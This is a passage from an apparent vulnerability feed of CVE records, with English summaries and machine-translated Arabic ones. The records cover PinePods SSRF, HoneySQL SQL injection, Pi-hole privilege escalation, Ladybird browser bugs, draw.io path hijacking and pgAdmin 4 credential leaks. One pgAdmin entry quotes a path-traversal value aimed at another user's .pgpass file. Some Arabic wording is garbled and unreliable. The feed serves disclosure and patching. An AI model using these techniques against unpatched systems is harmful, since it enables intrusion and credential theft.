1.10.3."},"refs":[["https://github.com/franklioxygen/MyTube/commit/456d09892b599e78538ef1a795f49b91256c3ca6","ref"],["https://github.com/franklioxygen/MyTube/commit/7cc7c6a7d297ccbd8bd2c76755129381b96f8456","ref"],["https://github.com/franklioxygen/MyTube/commit/905cecc010f320ab4e575eb3054179e9616a0b39","ref"],["https://github.com/franklioxygen/MyTube/commit/f9ae048cc37c98a3576115d8841f8e96bade5c76","ref"],["https://github.com/franklioxygen/MyTube/security/advisories/GHSA-hcm6-w6x8-6jhr","ref"]],"epss":0.0041,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"franklioxygen-mytube"},{"id":"CVE-2026-55598","cvss":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L","cwe":"CWE-918","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-30T20:17:10Z","product":"madeofpendletonwool PinePods","affected":[],"title":{"en":"PinePods: Authenticated SSRF via podcast RSS enclosure URL (server-side fetch of attacker-controlled URL, no host validation)","ar":"PinePods: تزوير الطلبات من جانب الخادم (SSRF) عبر رابط مرفق RSS للبودكاست مع المصادقة (جلب من جانب الخادم لرابط يسيطر عليه المهاجم، دون التحقق من المضيف)"},"summary":{"en":"PinePods is a complete, self-hosted podcast management system written in Rust. Prior to 0.9.0, an authenticated user can subscribe to an attacker-controlled RSS feed through `POST /api/data/add_podcast` in `rust-api/src/handlers/podcasts.rs`. `get_podcast_values` and `add_episodes` in `rust-api/src/database.rs` parse the feed with `feed-rs` and store the `<enclosure url>` verbatim in `Episodes.episodeurl` without destination host/IP validation. `POST /api/data/download_podcast` invokes `spawn_download_podcast_episode` and `download_episode_and_wait()` in `rust-api/src/services/tasks.rs`, which sends a `reqwest` GET to the stored URL and saves and records the response in `DownloadedEpisodes` for later retrieval. The `estimate_duration_from_audio_url_async()` path in `rust-api/src/database.rs` also sends an unvalidated HEAD during feed add/refresh. Default redirect following permits an initially external enclosure URL to redirect to an internal target. A low-privilege user can make server-side GET/HEAD requests to reachable loopback, private-network and cloud metadata services and read downloaded internal responses, enabling internal-service enumeration, confidential-data disclosure and possible metadata credential theft. Episode downloading requires server downloads to be enabled, which is the default; self-service signup is supported. This issue is fixed in version 0.9.0.","ar":"إن PinePods هو نظام إدارة بودكاست متكامل وذاتي الاستضافة مكتوب بلغة Rust. قبل الإصدار 0.9.0، يمكن لمستخدم مصادق عليه الاشتراك في تغذية RSS مُتحكم بها من قِبل المهاجم من خلال `POST \\/api\\/data\\/add_podcast` في `rust-api\\/src\\/handlers\\/podcasts.rs`. تقوم الدوال `get_podcast_values` و `add_episodes` في `rust-api\\/src\\/database.rs` بتحليل التغذية باستخدام `feed-rs` وتخزين `<enclosure url>` حرفياً في `Episodes.episodeurl` دون التحقق من مضيف أو عنوان IP للوجهة. يستدعي `POST \\/api\\/data\\/download_podcast` الدوال `spawn_download_podcast_episode` و `download_episode_and_wait()` في `rust-api\\/src\\/services\\/tasks.rs`، والتي ترسل طلب GET باستخدام `reqwest` إلى الرابط المُخزن وتحفظ وتسجل الاستجابة في `DownloadedEpisodes` للاسترجاع لاحقاً. يرسل مسار `estimate_duration_from_audio_url_async()` في `rust-api\\/src\\/database.rs` أيضاً طلب HEAD غير مُتحقق منه أثناء إضافة/تحديث التغذية. يسمح اتباع إعادة التوجيه الافتراضي لرابط مرفق خارجي مبدئي بإعادة التوجيه إلى هدف داخلي. يمكن لمستخدم منخفض الصلاحيات إجراء طلبات GET/HEAD من جانب الخادم إلى خدمات حلقة الاسترجاع (loopback) والشبكة الخاصة وخدمات بيانات التخزين السحابي القابلة للوصول وقراءة الاستجابات الداخلية التي تم تنزيلها، مما يتيح تعداد الخدمات الداخلية، والكشف عن البيانات السرية، واحتمال سرقة بيانات اعتماد بيانات التخزين المؤقت (metadata). يتطلب تنزيل الحلقات تمكين تنزيلات الخادم، وهو الإعداد الافتراضي؛ كما يتم دعم التسجيل الذاتي للمستخدمين. تم إصلاح هذه المشكلة في الإصدار 0.9.0."},"refs":[["https://github.com/madeofpendletonwool/PinePods/commit/34843d37168c37bbf23ed6dbbf403f351bd64755","ref"],["https://github.com/madeofpendletonwool/PinePods/security/advisories/GHSA-j876-2282-p4hg","ref"],["https://github.com/madeofpendletonwool/PinePods/tree/0.9.0","ref"]],"epss":0.0033,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"madeofpendletonwool-pinepods"},{"id":"CVE-2026-61620","cvss":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-89","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-30T20:17:10Z","product":"seancorfield honeysql","affected":[],"title":{"en":"HoneySQL unchecked entity names can lead to SQL injection results","ar":"أسماء الكيانات غير المُدققة في HoneySQL يمكن أن تؤدي إلى نتائج حقن SQL"},"summary":{"en":"HoneySQL turns Clojure data structures into SQL. From 2.0.0 until 2.7.1392, applications that pass user input or other arbitrary data into the HoneySQL `DSL` by calling `keyword` or `symbol` on that input can produce SQL strings that facilitate SQL injection when executed unchanged by a `JDBC` driver. Some formatters do not apply the existing suspicious-character check to the resulting entity names. The impact depends on the privileges of the database connection executing the generated statement. Input validation before constructing `keyword` or `symbol` entities is a workaround. The maintainer-designated fixed version is 2.7.1392.","ar":"يقوم HoneySQL بتحويل هياكل بيانات Clojure إلى استعلامات SQL. من الإصدار 2.0.0 حتى 2.7.1392، التطبيقات التي تمرر مدخلات المستخدم أو بيانات عشوائية أخرى إلى `DSL` الخاص بـ HoneySQL عن طريق استدعاء `keyword` أو `symbol` على تلك المدخلات يمكنها إنتاج سلاسل SQL تسهل حقن SQL عند تنفيذها دون تغيير بواسطة برنامج تشغيل `JDBC`. لا تطبق بعض منسقات النصوص فحص الأحرف المشبوهة الحالي على أسماء الكيانات الناتجة. يعتمد التأثير على صلاحيات اتصال قاعدة البيانات الذي ينفذ العبارة المُولدة. يُعد التحقق من صحة المدخلات قبل بناء كيانات `keyword` أو `symbol` بمثابة إجراء تخفيف. الإصدار المحدد من قِبل المطور والإصلاح هو 2.7.1392."},"refs":[["https://github.com/seancorfield/honeysql/commit/1141fcd4597393d2af61c20a7cc82b8f1b3cea4a","ref"],["https://github.com/seancorfield/honeysql/compare/v2.7.1390...v2.7.1392","ref"],["https://github.com/seancorfield/honeysql/releases/tag/v2.7.1392","ref"],["https://github.com/seancorfield/honeysql/security/advisories/GHSA-fcfq-xqgp-8v97","ref"]],"epss":0.0039,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"seancorfield-honeysql"},{"id":"CVE-2026-119335","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-78","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-30T20:17:08Z","product":"pi-hole pi-hole","affected":[],"title":{"en":"Pi-hole: Local privilege escalation from `pihole` user to root via CVE-2026-41489 fix bypass","ar":"Pi-hole: تصعيد الصلاحيات محلياً من مستخدم pihole إلى root عبر تجاوز تصحيح CVE-2026-41489"},"summary":{"en":"Pi-hole is a DNS sinkhole that protects devices from unwanted content without installing any client-side software. Prior to 6.5, advanced/Scripts/utils.sh getFTLPID() attempts to validate the pihole-owned /run/pihole-FTL.pid file with expr \"${FTL_PID}\" : \"[^[:digit:]]\", but this rejects only values whose first character is not a digit. An attacker with code execution as the pihole user can write a digit-prefixed arithmetic expression to the pihole-owned PID file. Root-run pihole subcommands then evaluate [[ \"$pid\" -eq \"-1\" ]], causing Bash to recursively evaluate array subscripts and execute command substitution as root. This bypasses the content-validation portion of the CVE-2026-41489 remediation while leaving its hardcoded PID-file path protection intact. This issue is fixed in version 6.5.","ar":"Pi-hole هو نظام حجب DNS يحمي الأجهزة من المحتوى غير المرغوب فيه دون تثبيت أي برمجيات على جهاز العميل. قبل الإصدار 6.5، يحاول الملف advanced/Scripts/utils.sh getFTLPID() التحقق من صحة ملف /run/pihole-FTL.pid المملوك لـ pihole باستخدام expr \"${FTL_PID}\" : \"[^[:digit:]]\"، ولكنه يرفض فقط القيم التي لا يكون حرفها الأول رقماً. يمكن لمهاجم قادر على تنفيذ شيفرة بصفتة مستخدم pihole كتابة تعبير حسابي يبدأ برقم في ملف PID المملوك لـ pihole. تقوم أوامر Pi-hole الفرعية التي تعمل بصلاحيات root بتقييم [[ \"$pid\" -eq \"-1\" ]]، مما يؤدي إلى قيام Bash بتقييم اشتراكات المصفوفات بشكل متكرر وتنفيذ استبدال الأوامر بصلاحيات root. يتجاوز هذا جزء التحقق من صحة المحتوى من إصلاح CVE-2026-41489 مع الحفاظ على حماية مسار ملف PID المضمن سليمة. تم إصلاح هذه المشكلة في الإصدار 6.5."},"refs":[["https://github.com/pi-hole/pi-hole/commit/555dd4d8b3699327fbba482bb73cce5f53979bd1","ref"],["https://github.com/pi-hole/pi-hole/pull/6719","ref"],["https://github.com/pi-hole/pi-hole/releases/tag/v6.5","ref"],["https://github.com/pi-hole/pi-hole/security/advisories/GHSA-cf36-4hhc-8398","ref"]],"epss":0.0023,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"pi-hole"},{"id":"CVE-2026-119336","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-59","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-30T20:17:08Z","product":"pi-hole pi-hole","affected":[],"title":{"en":"Pi-hole: arbitrary root file clobber / chmod / disclosure via updatecheck.sh cron following /etc/pihole/versions symlink","ar":"Pi-hole: الكتابة الفوقية / تعديل الصلاحيات / كشف ملفات root عشوائية عبر مهمة cron في updatecheck.sh باتباع الرابط الرمزي /etc/pihole/versions"},"summary":{"en":"Pi-hole is a DNS sinkhole that protects devices from unwanted content without installing any client-side software. From 6.4.2 until 6.5, the root-run advanced/Scripts/updatecheck.sh cron job applies truncate -s 0 and chmod 644 to /etc/pihole/versions while following symbolic links in a directory owned by the pihole user. An attacker executing as pihole can replace that path with a symlink so the scheduled root operations truncate or create an arbitrary root-owned file, or race the operations so chmod makes a sensitive target world-readable without truncating it. This issue is fixed in version 6.5.","ar":"Pi-hole هو نظام حجب DNS يحمي الأجهزة من المحتوى غير المرغوب فيه دون تثبيت أي برمجيات على جهاز العميل. من الإصدار 6.4.2 حتى 6.5، تقوم مهمة cron في advanced/Scripts/updatecheck.sh التي تعمل بصلاحيات root بتطبيق truncate -s 0 وchmod 644 على /etc/pihole/versions مع تتبع الروابط الرمزية في دليل مملوك لمستخدم pihole. يمكن لمهاجم يتم تنفيذ شيفرته بصفتة pihole استبدال هذا المسار برابط رمزي بحيث تؤدي عمليات root المجدولة إلى اقتطاع أو إنشاء ملف عشوائي مملوك لـ root، أو تنفيذ هجوم سباق (race condition) بحيث يجعل chmod هدفاً حساساً مقروءاً للعامة دون اقتطاعه. تم إصلاح هذه المشكلة في الإصدار 6.5."},"refs":[["https://github.com/pi-hole/pi-hole/commit/85de82dd2b63bf71ecb936177dfb82421d9d2f25","ref"],["https://github.com/pi-hole/pi-hole/commit/c1062f43b0de1876321bafac58fba862406366cb","ref"],["https://github.com/pi-hole/pi-hole/commit/e05dc3f139206fd8d0e4a052dceefb9056533517","ref"],["https://github.com/pi-hole/pi-hole/pull/6719","ref"],["https://github.com/pi-hole/pi-hole/releases/tag/v6.5","ref"],["https://github.com/pi-hole/pi-hole/security/advisories/GHSA-xch2-4qxw-g5vj","ref"]],"epss":0.0025,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"pi-hole"},{"id":"CVE-2026-119331","cvss":7.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N","cwe":"CWE-200","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-30T20:17:07Z","product":"LadybirdBrowser ladybird","affected":[],"title":{"en":"Ladybird: Missing origin-clean enforcement in CSSStyleSheet allows cross-origin CSS read and mutation","ar":"Ladybird: غياب فرض نظافة المصدر في CSSStyleSheet يتيح قراءة وتعديل ملفات CSS عبر النطاقات المختلفة"},"summary":{"en":"Ladybird is a truly independent web browser. Prior to the c0d68bddf3e3616e5173835f0f4c155ee9700d91 commit, CSSStyleSheet.cssRules, insertRule(), and deleteRule() in Libraries/LibWeb/CSS/CSSStyleSheet.cpp did not enforce the stylesheet origin-clean flag with the required SecurityError, even though cross-origin imported stylesheets were correctly marked non-origin-clean. A malicious page could read parsed rules from a stylesheet loaded without CORS and could insert or delete rules in the victim stylesheet, bypassing the Same-Origin Policy. Reading could expose selectors, generated content, feature markers, or other sensitive rule text, while mutation could alter page visibility or layout. The issue does not provide memory corruption, code execution, or persistence after the attacker page closes. This vulnerability is fixed by commit c0d68bddf3e3616e5173835f0f4c155ee9700d91.","ar":"Ladybird هو متصفح ويب مستقل حقاً. قبل الالتزام c0d68bddf3e3616e5173835f0f4c155ee9700d91، لم تكن عناصر CSSStyleSheet.cssRules وinsertRule() وdeleteRule() في Libraries/LibWeb/CSS/CSSStyleSheet.cpp تفرض علامة نظافة مصدر ورقة الأنماط (stylesheet origin-clean) باستخدام خطأ الأمان (SecurityError) المطلوب، على الرغم من تمييز أوراق الأنماط المستوردة عبر النطاقات المختلفة بشكل صحيح على أنها غير نظيفة المصدر. يمكن للصفحة الخبيثة قراءة القواعد التي تم تحليلها من ورقة أنماط تم تحميلها دون CORS ويمكنها إدراج أو حذف قواعد في ورقة أنماط الضحية، مما يتجاوز سياسة نفس النطاق (Same-Origin Policy). قد تؤدي القراءة إلى كشف المحددات، أو المحتوى المُوَلد، أو مؤشرات الميزات، أو غيرها من نصوص القواعد الحساسة، بينما يمكن أن يؤدي التعديل إلى تغيير رؤية الصفحة أو تخطيطها. لا توفر المشكلة فساداً في الذاكرة، أو تنفيذ أوامر، أو استمرارية بعد إغلاق صفحة المهاجم. تم إصلاح هذه الثغرة الأمنية بالالتزام c0d68bddf3e3616e5173835f0f4c155ee9700d91."},"refs":[["https://github.com/LadybirdBrowser/ladybird/commit/c0d68bddf3e3616e5173835f0f4c155ee9700d91","ref"],["https://github.com/LadybirdBrowser/ladybird/security/advisories/GHSA-xj66-c4cw-xwh3","ref"]],"epss":0.0018,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"ladybirdbrowser-ladybird"},{"id":"CVE-2026-119332","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-416","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-30T20:17:07Z","product":"LadybirdBrowser ladybird","affected":[],"title":{"en":"Ladybird: FinalizationRegistry::cleanup() heap use-after-free via reentrant unregister()","ar":"Ladybird: استخدام الذاكرة بعد تحريرها في الكساء (heap use-after-free) داخل FinalizationRegistry::cleanup() عبر دالة unregister() المتداخلة"},"summary":{"en":"Ladybird is a truly independent web browser. Prior to 209579c96473c75bd5eba9701fcadb841a045964, FinalizationRegistry::cleanup() in Libraries/LibJS/Runtime/FinalizationRegistry.cpp removed a dead record from m_records, retained an iterator to the next FinalizationRecord, and then invoked attacker-controlled JavaScript through the cleanup callback. If that callback called unregister() for the next record, remove_by_token() freed the node referenced by the retained iterator, and the next cleanup iteration read its target and held_value fields after free. This reliably crashes instrumented WebContent builds and creates a memory-corruption primitive in production builds. This vulnerability is fixed by commit 209579c96473c75bd5eba9701fcadb841a045964.","ar":"Ladybird هو متصفح ويب مستقل حقاً. قبل الإصدار 209579c96473c75bd5eba9701fcadb841a045964، قامت الدالة FinalizationRegistry::cleanup() في Libraries/LibJS/Runtime/FinalizationRegistry.cpp بإزالة سجل ميت من m_records، والاحتفاظ بمكرر (iterator) يشير إلى سجل FinalizationRecord التالي، ثم استدعت شيفرة JavaScript متحكم بها من قبل المهاجم عبر رد نداء التنظيف (cleanup callback). إذا قام رد النداء هذا باستدعاء unregister() للسجل التالي، فإن remove_by_token() تقوم بتحرير العقدة المشار إليها بواسطة المكرر المحتفظ به، وتقوم تكرارات التنظيف التالية بقراءة حقلَي الهدف (target) وقيمة الاحتفاظ (held_value) بعد تحريرهما. يؤدي هذا بشكل موثوق إلى تعطل بنيات WebContent المُجهزة (instrumented) وينشئ أداة لفساد الذاكرة في بنيات الإنتاج. تم إصلاح هذه الثغرة الأمنية بالالتزام 209579c96473c75bd5eba9701fcadb841a045964."},"refs":[["https://github.com/LadybirdBrowser/ladybird/commit/209579c96473c75bd5eba9701fcadb841a045964","ref"],["https://github.com/LadybirdBrowser/ladybird/security/advisories/GHSA-6cmv-xmff-qjph","ref"]],"epss":0.0024,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"ladybirdbrowser-ladybird"},{"id":"CVE-2026-119333","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-426","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-30T20:17:07Z","product":"jgraph drawio-desktop","affected":[],"title":{"en":"draw.io Desktop allows Windows executable search-path hijacking","ar":"draw.io Desktop يسمح باختراق مسار البحث عن الملفات التنفيذية في نظام Windows"},"summary":{"en":"draw.io Desktop is the official Electron build of draw.io. Prior to 31.5.2, the Windows application launched powershell and attrib by bare executable name from src/main/electron.js. When draw.io Desktop was not already running, opening a diagram from File Explorer made the diagram directory the current working directory, allowing a colocated attacker-controlled powershell.bat or attrib.exe to be resolved before the intended system executable. A victim who extracted an attacker-supplied archive and cold-opened its legitimate .drawio file could therefore execute attacker-controlled code when Local Fonts were enabled or when draft or backup attributes were updated. This issue is fixed in version 31.5.2.","ar":"draw.io Desktop هو إصدار Electron الرسمي لبرنامج draw.io. قبل الإصدار 31.5.2، كان تطبيق Windows يقوم بتشغيل powershell وattrib باستخدام اسم الملف التنفيذي المجرد من src/main/electron.js. عندما لم يكن برنامج draw.io Desktop قيد التشغيل بالفعل، أدى فتح مخطط من مستكشف الملفات (File Explorer) إلى جعل دليل المخطط هو دليل العمل الحالي، مما سمح بحل ملف powershell.bat أو attrib.exe يتحكم فيه مهاجم وموجود في نفس الدليل قبل الملف التنفيذي المقصود للنظام. وبالتالي، يمكن لضحية قام بفك ضغط أرشيف مقدم من المهاجم وفتح ملف .drawio الشرعي الخاص به بشكل بارد (cold-opened) تنفيذ شيفرة يتحكم بها المهاجم عند تمكين الخطوط المحلية (Local Fonts) أو عند تحديث سمات المسودة أو النسخ الاحتياطي. تم إصلاح هذه المشكلة في الإصدار 31.5.2."},"refs":[["https://github.com/jgraph/drawio-desktop/commit/3fed7ecfa6871d952d9946508ec85739796a59b2","ref"],["https://github.com/jgraph/drawio-desktop/releases/tag/v31.5.2","ref"],["https://github.com/jgraph/drawio-desktop/security/advisories/GHSA-qg46-52fx-h7p8","ref"]],"epss":0.0014,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"jgraph-drawio-desktop"},{"id":"CVE-2026-116249","cvss":8.4,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:L","cwe":"CWE-22","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-30T20:17:05Z","product":"pgadmin.org pgAdmin 4","affected":[["0 – <9.19","9.19"]],"title":{"en":"pgAdmin 4: Connection file paths and parameter keys escape the user's storage directory","ar":"pgAdmin 4: مسارات ملفات الاتصال ومفاتيح المعلمات تخرج عن نطاق تخزين المستخدم"},"summary":{"en":"In server mode pgAdmin 4 resolves a server's password file, SSL certificate, key, CRL and SSH tunnel identity file relative to the user's storage directory, but get_complete_file_path() only stripped leading slashes before joining the two. A path such as \"../<another user>/.pgpass\", set through the server dialog, the REST API or a servers.json import, therefore named another user's file, and connecting used that user's saved passwords, client certificate or SSH key. The sslkeylogfile connection parameter was passed to libpq unchanged, so a path outside storage let libpq create or append a file as the account running pgAdmin. make_conninfo() also quoted connection parameter values but not their names, so a crafted parameter name could smuggle additional keyword=value pairs past these checks. The fix requires the resolved path, with symbolic links followed, to stay inside the user's storage directory or the named shared storage directory, confines sslkeylogfile the same way, and accepts only exact libpq keywords as connection parameter names. A refused path or keyword is reported instead of letting libpq fall back to a default. This issue affects pgAdmin 4: before 9.19.","ar":"في وضع الخادم، يقوم pgAdmin 4 بتحليل ملف كلمة المرور للخادم، وشهادة SSL، والمفتاح، وCRL، ومفتاح نفق SSH بالنسبة لدليل تخزين المستخدم، ولكن get_complete_file_path() كانت تزيل الشرطات المائلة البادئة فقط قبل دمج الاثنين. وبالتالي، فإن مساراً مثل \"../<another user>/.pgpass\"، يتم تعيينه من خلال مربع حوار الخادم، أو واجهة برمجة تطبيقات REST، أو استيراد servers.json، سمى ملف مستخدم آخر، واستخدم الاتصال كلمات المرور المحفوظة لهذا المستخدم أو شهادة العميل أو مفتاح SSH الخاص به. تم تمرير معلمة الاتصال sslkeylogfile إلى libpq دون تغيير، لذا سمح مسار خارج التخزين لـ libpq بإنشاء أو إلحاق ملف بصفتة الحساب الذي يشغل pgAdmin. قامت make_conninfo() أيضاً بوضع علامات اقتتنصاس على قيم معلمات الاتصال وليس أسماءها، لذا يمكن لاسم معلمة مصمم تهريب أزواج keyword=value إضافية متجاوزاً عمليات التحقق هذه. يتطلب الإصلاح أن يبقى المسار المُحلل، مع تتبع الروابط الرمزية، داخل دليل تخزين المستخدم أو دليل التخزين المشترك المسماة، ويقيد sslkeylogfile بالطريقة نفسها، ويقبل فقط كلمات مفتاحية دقيقة لـ libpq كأسماء لمعلمات الاتصال. يتم الإبلاغ عن مسار أو كلمة مفتاحية مرفوضة بدلاً من السماح لـ libpq بالرجوع إلى القيمة الافتراضية. تؤثر هذه المشكلة على pgAdmin 4: قبل الإصدار 9.19."},"refs":[["https://github.com/pgadmin-org/pgadmin4/commit/2afe505ef4a31591796449d54ab1604355ff06c2","patch"],["https://github.com/pgadmin-org/pgadmin4/issues/10650","ref"]],"epss":0.0018,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"pgadmin-org-pgadmin"},{"id":"CVE-2026-116243","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-426","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-30T20:17:04Z","product":"pgadmin.org pgAdmin 4","affected":[["0 – <9.19","9.19"]],"title":{"en":"pgAdmin 4: Utility binary path can point at a shared storage directory","ar":"pgAdmin 4: مسار البرنامج الثنائي المساعد يمكن أن يشير إلى دليل تخزين مشترك"},"summary":{"en":"pgAdmin 4 runs pg_dump, pg_restore, pg_dumpall and psql from the binary path a user sets in their preferences. In server mode the binary path was refused only when it lay under the per-user storage directory (STORAGE_DIR), not under a SHARED_STORAGE directory, which ordinary users can upload files to. A user could therefore upload an executable to shared storage, point their binary path at it, and have pgAdmin run it as the operating-system account running pgAdmin. On POSIX, files created through pgAdmin are not executable, so this is exploitable where any file with an executable name can run, such as Windows server mode. The fix checks the binary path against every SHARED_STORAGE directory as well, after expanding $DIR, collapsing \"..\" and resolving symbolic links, compares directories in a way a different spelling on a case-insensitive filesystem cannot bypass, refuses a path containing a NUL, and enforces the check wherever binary paths are resolved, including for the PSQL tool. This issue affects pgAdmin 4: before 9.19.","ar":"يقوم pgAdmin 4 بتشغيل pg_dump وpg_restore وpg_dumpall وpsql من مسار البرنامج الثنائي الذي يحدده المستخدم في تفضيلاته. في وضع الخادم، تم رفض مسار البرنامج الثنائي فقط عندما كان موجوداً تحت دليل التخزين لكل مستخدم (STORAGE_DIR)، وليس تحت دليل SHARED_STORAGE، والذي يمكن للمستخدمين العاديين تحميل ملفات إليه. وبالتالي، يمكن للمستخدم تحميل ملف تنفيذي إلى التخزين المشترك، وتوجيه مسار البرنامج الثنائي الخاص به إليه، وجعل pgAdmin يغشله كحساب نظام التشغيل الذي يشغل pgAdmin. على نظام POSIX، لا تكون الملفات التي يتم إنشاؤها من خلال pgAdmin قابلة للتنفيذ، لذا فإن هذا قابل للاستغلال حيث يمكن لأي ملف يحمل اسم ملف تنفيذي التشغيل، مثل وضع خادم Windows. يتحقق الإصلاح من مسار البرنامج الثنائي مقابل كل دليل SHARED_STORAGE أيضاً، بعد توسيع $DIR، وطي \"..\"، وحل الروابط الرمزية، ويقارن الأدلة بطريقة لا يمكن لتهجئة مختلفة على نظام ملفات غير حساس لحالة الأحرف تجاوزها، ويرفض مساراً يحتوي على NUL، ويفرض التحقق في أي مكان يتم فيه حل المسارات الثنائية، بما في ذلك أداة PSQL. تؤثر هذه المشكلة على pgAdmin 4: قبل الإصدار 9.19."},"refs":[["https://github.com/pgadmin-org/pgadmin4/commit/9e95d9a72155beb40d3735cadf6ae754f627cac7","patch"],["https://github.com/pgadmin-org/pgadmin4/issues/10656","ref"]],"epss":0.0032,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"pgadmin-org-pgadmin"},{"id":"CVE-2026-116244","cvss":8.2,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N","cwe":"CWE-522","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-30T20:17:04Z","product":"pgadmin.org pgAdmin 4","affected":[["0 – <9.19","9.19"]],"title":{"en":"pgAdmin 4: libpq uses the pgAdmin service account's Kerberos credentials","ar":"pgAdmin 4: مكتبة libpq تستخدم بيانات اعتماد Kerberos الخاصة بحساب خدمة pgAdmin"},"summary":{"en":"When a pgAdmin 4 connection was not meant to use a Kerberos user's delegated credentials, pgAdmin removed KRB5CCNAME from its environment, so the Kerberos library fell back to the default credential cache, or a client keytab, of the operating-system account running pgAdmin. libpq then answered any server that asked for GSSAPI authentication with that account's ticket, whatever user name the pgAdmin user gave, so in server mode any user could connect as the service account's Kerberos principal; gssencmode=disable did not prevent it. On Windows, SSPI used the service account's logon in the same way. psql was also started with pgAdmin's environment, which could hold another user's credential cache while that user was connecting. The fix points KRB5CCNAME and KRB5_CLIENT_KTNAME at a file that cannot exist except while a Kerberos-authenticated user connects with Kerberos, and gives every other connection, psql and the utilities require_auth=!gss,!sspi and gssencmode=disable, checked on the final connection string. require_auth needs libpq 16 or later. This issue affects pgAdmin 4: before 9.19.","ar":"عندما لم يكن اتصال pgAdmin 4 مخصصاً لاستخدام بيانات الاعتماد المفوضة لمستخدم Kerberos، قام pgAdmin بإزالة KRB5CCNAME من بيئته، بحيث تراجعت مكتبة Kerberos إلى ذاكرة التخزين المؤقت لبيانات الاعتماد الافتراضية، أو ملف مفتاح عميل (client keytab)، لحساب نظام التشغيل الذي يشغل pgAdmin. قامت libpq بعد ذلك بالرد على أي خادم طلب مصادقة GSSAPI بتذكرة هذا حساب، بغض النظر عن اسم المستخدم الذي قدمه مستخدم pgAdmin، لذلك في وضع الخادم، يمكن لأي مستخدم الاتصال كمعرّف Kerberos لحساب الخدمة؛ لم يمنع gssencmode=disable ذلك. على نظام Windows، استخدمت SSPI تسجيل دخول حساب الخدمة بالطريقة نفسها. تم بدء تشغيل psql أيضاً بيئة pgAdmin، والتي يمكن أن تحتوي على ذاكرة تخزين مؤقت لبيانات اعتماد مستخدم آخر أثناء اتصال هذا المستخدم. يوجه الإصلاح KRB5CCNAME وKRB5_CLIENT_KTNAME إلى ملف لا يمكن أن يوجد إلا أثناء اتصال مستخدم مصادق عليه عبر Kerberos باستخدام Kerberos، ويعطي كل اتصال آخر، وpsql والأدوات المساعدة متطلبات require_auth=!gss,!sspi وgssencmode=disable، والتي يتم التحقق منها في سلسلة الاتصال النهائية. يتطلب require_auth إصدار libpq 16 أو أحدث. تؤثر هذه المشكلة على pgAdmin 4: قبل الإصدار 9.19."},"refs":[["https://github.com/pgadmin-org/pgadmin4/commit/145e511f05eed69ebcadd3cd61ffea0a5b4c69a4","patch"],["https://github.com/pgadmin-org/pgadmin4/issues/10655","ref"]],"epss":0.0028,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"pgadmin-org-pgadmin"},{"id":"CVE-2026-116245","cvss":8.2,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N","cwe":"CWE-522","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-30T20:17:04Z","product":"pgadmin.org pgAdmin 4","affected":[["0 – <9.19","9.19"]],"title":{"en":"pgAdmin 4: Connection services are not restricted in server mode","ar":"pgAdmin 4: خدمات الاتصال غير مقيدة في وضع الخادم"},"summary":{"en":"libpq looks a connection service up in the service file of the operating-system account running pgAdmin 4, and an entry there can hold a password or name a password file or client certificate. In server mode any user could set a server's Service, or a \"service\" connection parameter, to one of those entries and connect with its credentials. A PGPASSWORD or PGSERVICE variable set for that account was likewise used by libpq for every connection without a value of its own and passed on to the utilities, and pg_dumpall read a maintenance database name such as \"service=...\" as a connection string. The fix adds the SERVER_MODE_ALLOWED_SERVICES setting, empty by default: in server mode only a listed service can be used, the servicefile parameter is refused, and PGPASSWORD and PGSERVICE are removed from pgAdmin's environment at startup. The allowlist is checked again on the final connection string, and the pg_dumpall database name is wrapped as a connection string. This issue affects pgAdmin 4: before 